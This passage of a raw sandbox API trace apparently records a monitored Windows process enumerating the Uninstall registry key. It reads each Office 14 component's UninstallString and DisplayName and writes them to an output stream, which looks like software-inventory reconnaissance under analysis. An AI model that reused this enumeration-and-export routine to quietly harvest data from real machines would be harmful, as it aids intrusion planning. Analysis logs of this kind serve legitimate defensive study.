returned 0x0 [0068.249] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x33, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.249] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.249] lstrlenA (lpString="\\") returned 1 [0068.249] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.249] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.250] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.250] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.250] lstrlenA (lpString="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}") returned 94 [0068.250] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x626a88 [0068.250] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.250] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-006E-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-006E-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}" [0068.250] LocalFree (hMem=0x626e60) returned 0x0 [0068.250] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-006E-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.250] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.250] LocalAlloc (uFlags=0x40, uBytes=0x13b) returned 0x62ff30 [0068.250] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x62ff30, lpcbData=0x12ef10*=0xba | out: lpType=0x0, lpData=0x62ff30*=0x22, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.250] RegCloseKey (hKey=0x108) returned 0x0 [0068.250] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x62ff30*=0x22, cb=0xba, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0xba) returned 0x0 [0068.250] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-006E-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.250] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x62ff30 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.250] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x626ba8 [0068.250] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626ba8, lpcbData=0x12ef0c*=0x2b | out: lpType=0x0, lpData=0x626ba8*=0x4d, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.250] RegCloseKey (hKey=0x108) returned 0x0 [0068.250] lstrlenA (lpString="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}") returned 94 [0068.250] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x5e, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x5e) returned 0x0 [0068.250] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626ba8*=0x4d, cb=0x2b, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2b) returned 0x0 [0068.250] LocalFree (hMem=0x626ba8) returned 0x0 [0068.250] LocalFree (hMem=0x62ff30) returned 0x0 [0068.250] LocalFree (hMem=0x626a88) returned 0x0 [0068.250] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x34, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.250] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.250] lstrlenA (lpString="\\") returned 1 [0068.250] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.250] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.250] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.250] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.250] lstrlenA (lpString="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}") returned 95 [0068.250] LocalAlloc (uFlags=0x40, uBytes=0x114) returned 0x626a88 [0068.251] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.251] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-006E-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-006E-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}" [0068.251] LocalFree (hMem=0x626e60) returned 0x0 [0068.251] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-006E-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.251] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.251] LocalAlloc (uFlags=0x40, uBytes=0x13b) returned 0x62cf98 [0068.251] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x62cf98, lpcbData=0x12ef10*=0xba | out: lpType=0x0, lpData=0x62cf98*=0x22, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.251] RegCloseKey (hKey=0x108) returned 0x0 [0068.251] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x62cf98*=0x22, cb=0xba, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0xba) returned 0x0 [0068.251] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-006E-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.251] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x62cf98 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.251] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x626ba8 [0068.251] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626ba8, lpcbData=0x12ef0c*=0x2b | out: lpType=0x0, lpData=0x626ba8*=0x4d, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.251] RegCloseKey (hKey=0x108) returned 0x0 [0068.251] lstrlenA (lpString="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}") returned 95 [0068.251] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x5f, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x5f) returned 0x0 [0068.251] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626ba8*=0x4d, cb=0x2b, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2b) returned 0x0 [0068.251] LocalFree (hMem=0x626ba8) returned 0x0 [0068.251] LocalFree (hMem=0x62cf98) returned 0x0 [0068.251] LocalFree (hMem=0x626a88) returned 0x0 [0068.251] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x35, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-00A1-0409-0000-0000000FF1CE}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.251] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.251] lstrlenA (lpString="\\") returned 1 [0068.251] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.251] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.251] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.251] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.251] lstrlenA (lpString="{90140000-00A1-0409-0000-0000000FF1CE}") returned 38 [0068.251] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.251] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.251] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-00A1-0409-0000-0000000FF1CE}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-00A1-0409-0000-0000000FF1CE}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-00A1-0409-0000-0000000FF1CE}" [0068.251] LocalFree (hMem=0x626e60) returned 0x0 [0068.251] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-00A1-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.251] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.251] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.251] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.252] RegCloseKey (hKey=0x108) returned 0x0 [0068.252] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.252] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-00A1-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.252] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2c) returned 0x0 [0068.252] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x626e60 [0068.252] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x2c | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x2c) returned 0x0 [0068.252] RegCloseKey (hKey=0x108) returned 0x0 [0068.252] lstrlenA (lpString="{90140000-00A1-0409-0000-0000000FF1CE}") returned 38 [0068.252] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.252] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x2c, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2c) returned 0x0 [0068.252] LocalFree (hMem=0x626e60) returned 0x0 [0068.252] LocalFree (hMem=0x626b70) returned 0x0 [0068.252] LocalFree (hMem=0x626a88) returned 0x0 [0068.252] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x36, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-00B4-0409-0000-0000000FF1CE}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.252] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.252] lstrlenA (lpString="\\") returned 1 [0068.252] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.252] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.252] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.252] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.252] lstrlenA (lpString="{90140000-00B4-0409-0000-0000000FF1CE}") returned 38 [0068.252] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.252] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.252] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-00B4-0409-0000-0000000FF1CE}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-00B4-0409-0000-0000000FF1CE}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-00B4-0409-0000-0000000FF1CE}" [0068.252] LocalFree (hMem=0x626e60) returned 0x0 [0068.252] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-00B4-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.252] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.252] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.252] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.252] RegCloseKey (hKey=0x108) returned 0x0 [0068.252] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.252] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-00B4-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.252] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2c) returned 0x0 [0068.252] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x626e60 [0068.252] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x2c | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x2c) returned 0x0 [0068.252] RegCloseKey (hKey=0x108) returned 0x0 [0068.253] lstrlenA (lpString="{90140000-00B4-0409-0000-0000000FF1CE}") returned 38 [0068.253] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.253] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x2c, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2c) returned 0x0 [0068.253] LocalFree (hMem=0x626e60) returned 0x0 [0068.253] LocalFree (hMem=0x626b70) returned 0x0 [0068.253] LocalFree (hMem=0x626a88) returned 0x0 [0068.253] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x37, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-00B4-0409-0000-0000000FF1CE}_Office14.PRJPROR_{18A0C151-8F8A-4B68-A960-60C464B94329}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.253] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.253] lstrlenA (lpString="\\") returned 1 [0068.253] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.253] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.253] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.253] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.253] lstrlenA (lpString="{90140000-00B4-0409-0000-0000000FF1CE}_Office14.PRJPROR_{18A0C151-8F8A-4B68-A960-60C464B94329}") returned 94 [0068.253] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x626a88 [0068.253] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.253] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-00B4-0409-0000-0000000FF1CE}_Office14.PRJPROR_{18A0C151-8F8A-4B68-A960-60C464B94329}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-00B4-0409-0000-0000000FF1CE}_Office14.PRJPROR_{18A0C151-8F8A-4B68-A960-60C464B94329}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-00B4-0409-0000-0000000FF1CE}_Office14.PRJPROR_{18A0C151-8F8A-4B68-A960-60C464B94329}" [0068.253] LocalFree (hMem=0x626e60) returned 0x0 [0068.253] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-00B4-0409-0000-0000000FF1CE}_Office14.PRJPROR_{18A0C151-8F8A-4B68-A960-60C464B94329}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.253] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.253] LocalAlloc (uFlags=0x40, uBytes=0x13b) returned 0x62cf98 [0068.253] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x62cf98, lpcbData=0x12ef10*=0xba | out: lpType=0x0, lpData=0x62cf98*=0x22, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.253] RegCloseKey (hKey=0x108) returned 0x0 [0068.253] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x62cf98*=0x22, cb=0xba, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0xba) returned 0x0 [0068.253] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-00B4-0409-0000-0000000FF1CE}_Office14.PRJPROR_{18A0C151-8F8A-4B68-A960-60C464B94329}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.253] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x62cf98 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2c) returned 0x0 [0068.253] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x626ba8 [0068.253] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626ba8, lpcbData=0x12ef0c*=0x2c | out: lpType=0x0, lpData=0x626ba8*=0x4d, lpcbData=0x12ef0c*=0x2c) returned 0x0 [0068.253] RegCloseKey (hKey=0x108) returned 0x0 [0068.253] lstrlenA (lpString="{90140000-00B4-0409-0000-0000000FF1CE}_Office14.PRJPROR_{18A0C151-8F8A-4B68-A960-60C464B94329}") returned 94 [0068.253] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x5e, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x5e) returned 0x0 [0068.253] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626ba8*=0x4d, cb=0x2c, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2c) returned 0x0 [0068.253] LocalFree (hMem=0x626ba8) returned 0x0 [0068.253] LocalFree (hMem=0x62cf98) returned 0x0 [0068.253] LocalFree (hMem=0x626a88) returned 0x0 [0068.253] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x38, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-00BA-0409-0000-0000000FF1CE}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.253] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.253] lstrlenA (lpString="\\") returned 1 [0068.254] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.254] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.254] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.254] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.254] lstrlenA (lpString="{90140000-00BA-0409-0000-0000000FF1CE}") returned 38 [0068.254] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.254] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.254] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", 